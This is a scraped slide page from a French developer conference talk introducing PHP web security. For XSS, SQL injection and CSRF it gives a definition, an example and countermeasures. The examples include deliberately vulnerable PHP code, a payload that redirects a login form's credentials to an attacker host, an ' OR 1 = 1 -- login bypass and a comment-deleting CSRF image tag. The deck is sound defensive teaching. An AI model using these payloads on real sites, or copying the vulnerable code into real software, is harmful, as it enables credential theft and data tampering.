Conférence #nwx2014 - Ivan Dalmet - Ergonomie web, les bases pour tousConférence #nwx2014 - Ivan Dalmet - Ergonomie web, les bases pour tous
Conférence #nwx2014 - Ivan Dalmet - Ergonomie web, les bases pour tous
 
Conférence #nwx2014 - Thibaud Juin - Varnish, accélérateur web
Conférence #nwx2014 - Thibaud Juin - Varnish, accélérateur webConférence #nwx2014 - Thibaud Juin - Varnish, accélérateur web
Conférence #nwx2014 - Thibaud Juin - Varnish, accélérateur web
 
Conférence #nwxtech5 : Présentation du hacker space Jeanne d'Hack par Samir C...
Conférence #nwxtech5 : Présentation du hacker space Jeanne d'Hack par Samir C...Conférence #nwxtech5 : Présentation du hacker space Jeanne d'Hack par Samir C...
Conférence #nwxtech5 : Présentation du hacker space Jeanne d'Hack par Samir C...
 
Conférence #nwxtech5 : HTML5 Mobile avec Sencha Touch par Arnaud lemercier
Conférence #nwxtech5 : HTML5 Mobile avec Sencha Touch par Arnaud lemercierConférence #nwxtech5 : HTML5 Mobile avec Sencha Touch par Arnaud lemercier
Conférence #nwxtech5 : HTML5 Mobile avec Sencha Touch par Arnaud lemercier
 
Conférence #nwxtech5 : Drupal et OpenLayers par Frédéric Bisson
Conférence #nwxtech5 : Drupal et OpenLayers par Frédéric BissonConférence #nwxtech5 : Drupal et OpenLayers par Frédéric Bisson
Conférence #nwxtech5 : Drupal et OpenLayers par Frédéric Bisson
 
Conférence #nwxtech5 : Django, du framework pour les perfectionnistes au pony...
Conférence #nwxtech5 : Django, du framework pour les perfectionnistes au pony...Conférence #nwxtech5 : Django, du framework pour les perfectionnistes au pony...
Conférence #nwxtech5 : Django, du framework pour les perfectionnistes au pony...
 
Conférence #nwxtech5 : Introduction à Backbone.js par Hugo Larcher
Conférence #nwxtech5 : Introduction à Backbone.js par Hugo LarcherConférence #nwxtech5 : Introduction à Backbone.js par Hugo Larcher
Conférence #nwxtech5 : Introduction à Backbone.js par Hugo Larcher
 
Conférence #nwxtech5 : Selenium WebDriver 2 par Romain Louvet
Conférence #nwxtech5 : Selenium WebDriver 2 par Romain LouvetConférence #nwxtech5 : Selenium WebDriver 2 par Romain Louvet
Conférence #nwxtech5 : Selenium WebDriver 2 par Romain Louvet
 

Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

  • 1. Introduction à la Sécurité des  Applications Web / PHP  Principes de bases Maxime Mauchaussée  XSS  Injection SQL maxime@wixiweb.fr  CSRF @maximemdotnet http://www.wixiweb.fr @wixiweb    
  • 2. Plan  Principes de bases de sécurisations  Failles de type XSS  Définition  Exemples / Exploitation  Contre­mesures  Failles de type SQL Injection  Définition  Exemples / Exploitation  Contre­mesures  Failles de type CSRF  Définition  Exemples / Exploitation  Contre­mesures  Conclusion    
  • 3. Principes de bases  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Paramètres d'URL, cookies, données de formulaire, etc.  API, fichier d'import, base de données, etc.  Variables d'environnement (user agent, referer, host, etc.)  Éviter de permettre la saisie de balises HTML  L'utilisation de la balise <img> doit être extrêmement encadrée  Interdire l'utilisation des attributs dangereux tels que « style » et  « onload »  Ne jamais minimiser l'importance d'une faille  Toutes failles peut potentiellement être un jour exploitée  Corriger le plus rapidement possible toute faille découverte    
  • 4. Failles de type XSS ­ Définition  XSS : Cross Site Scripting  Le principe est d'injecter des données arbitraires dans un  site web [...] Si ces données arrivent telles quelles dans la page  web transmise au navigateur sans avoir été vérifiées, alors il  existe une faille [Wikipedia]  Injection de code HTML ou Javascript   Le contenu injecté est utilisé pour pièger un utilisateur    
  • 5. Failles de type XSS – Exemple basique  Exemple de site web banal :    
  • 6. Failles de type XSS – Exemple basique Fichier de vue PHP : <form action="recherche.php" method="get"> <input type="text" name="q" value="<?php echo $_GET['q']; ?>" /> <input type="submit" value="recherche" /> </form> Données saisies et envoyées au serveur : "/><script type="text/javascript">alert('faille xss')</script><" HTML compromis retourné par le serveur : <input type="text" name="q" value=""/><script type="text/javascript">alert('faille xss')</script><"" />    
  • 7. Failles de type XSS – Exemple basique  « PAF ! Pastèque ! » :    
  • 8. Failles de type XSS – Exploitations  Dégradation de l'image / la réputation du site  Redirection automatique  Initialisation de téléchargement de fichiers vérolés  Vol d'identifiants  Détournement de session (hijacking)  Fixation de session    
  • 9. Failles de type XSS – Exemples d'exploit  Détournement de l'attribut « action » du formulaire  d'authentification par injection : "/><script>document.forms[0].action='http://attaquant.fr/owned.php ';</script><"  Les utilisateurs enverront leurs identifiants vers le scripts défini  par l'attaquant  Possibilité de redirection (parfois transparente) vers la page  légitime    
  • 10. Failles de type XSS – Contre­mesures  Filtrer / nettoyer les données en entrée :  Toute donnée a un format : longueur, bornes, etc.  filter_var() ou filter_input()  strip_tags() en second choix  Ne pas autoriser la saisie de balises HTML  Et en sortie :  htmlspecialchars()    
  • 11. Failles de type SQL Injection ­ Définition  Injection SQL  Terme qui désigne l'interprétation imprévue d'un code SQL  dans une application. Ce code a été introduit par une voie  détournée. [CERTA]    
  • 12. Failles de type SQL Injection – Exemple  Bypass de l'authentification :    
  • 13. Failles de type SQL Injection – Exemple  Code PHP : mysql_query("SELECT id, login, profil FROM user WHERE login = '" . $_POST['login'] . "' AND password = '" . $_POST['password'] . "';");  Données saisies dans le champ « login » : ' OR 1 = 1 --  Interpretation de la requête SQL par PHP : SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''    
  • 14. Failles de type SQL Injection ­ Exploitation  Cette technique permet, [...] à un utilisateur malveillant de  modifier la base de données, ou accéder à des informations qui  ne lui sont pas destinées. [CERTA]  Privilege escalation – augmentation de droit d'accès  Vols de données  Destruction de données  Injection de code malveillant    
  • 15. Failles de type SQL Injection – Contre­mesures  addslashes() SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''  mysql_real_escape_string()  Requêtes préparées  Requêtes préparées > mysql_real_escape_string > addslashes  Ne pas utiliser le compte SQL « root » pour votre application    
  • 16. Failles de type CSRF ­ Définition  Cross­Site Request Forgery  Injection de requêtes illégitimes par rebond [CERTA]  Attaque provoquant l'envoi de requêtes par la victime, vers un  site vulnérable, à son insu et en son nom. [CERTA]  N'exploite pas forcément l'absence de validation    
  • 17. Failles de type CSRF – Exemple basique  Système de commentaires :    
  • 18. Failles de type CSRF – Exemple  Un lien est fournit pour supprimer un de ses commentaires : http://sitemalfichu.fr/delete_comment?id=2  Prédiction de l'identifiant du commentaire de la victime par  l'attaquant : http://sitemalfichu.fr/delete_comment?id=1  Insertion d'une balise image dans un commentaire par  l'attaquant : <img src="http://sitemalfichu.fr/delete_comment?id=1" />   Au chargement de la page par la victime, elle supprime son  commentaire    
  • 19. Failles de type CSRF – Exploitation  Suppression de données : message, compte utilisateur, etc.  Publication de messages : désinformation, spam, virus, etc.  Changement de mot de passe  Changement d'adresse email  Triche à des concours ou sondages    
  • 20. Failles de type CSRF – Contre­mesures  Utiliser la méthode HTTP POST  Bannir l'utilisation de $_REQUEST  Mettre en place un système de tokens pour les actions les  plus sensibles  Interdire la possibilité de saisie de balises HTML    
  • 21. Conclusion  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Toute donnée a un format : longeur, bornes, volume, etc.  Toujours filtrer / nettoyer ces données en entrée et en sortie  Corriger les failles le plus rapidement possible  La sécurité des applications web ne s'arrête pas là :  configuration de PHP, du serveur web, de l'infrastructure  réseau, etc.     
  • 22. Questions ­ Réponses  Exemples de questions si vous n'avez pas d'idée :  Comment détecter de telles failles dans mon application ?  Pouvez­vous citer d'autres exemples d'attaques XSS / CSRF ?  Quelles autres bonne pratiques peut on appliquer pour sécuriser des  application web ?  Qu'est ce qu'une « blind sql injection » ?  Où trouvez des informations complémentaires à ce sujet ?  Existe­t­il d'autres types de failles ?    
  • 23. Merci de votre attention :)  Contact :  maxime@wixiweb.fr  https://twitter.com/maximemdotnet  https://identi.ca/maximemdotnet  http://www.wixiweb.fr/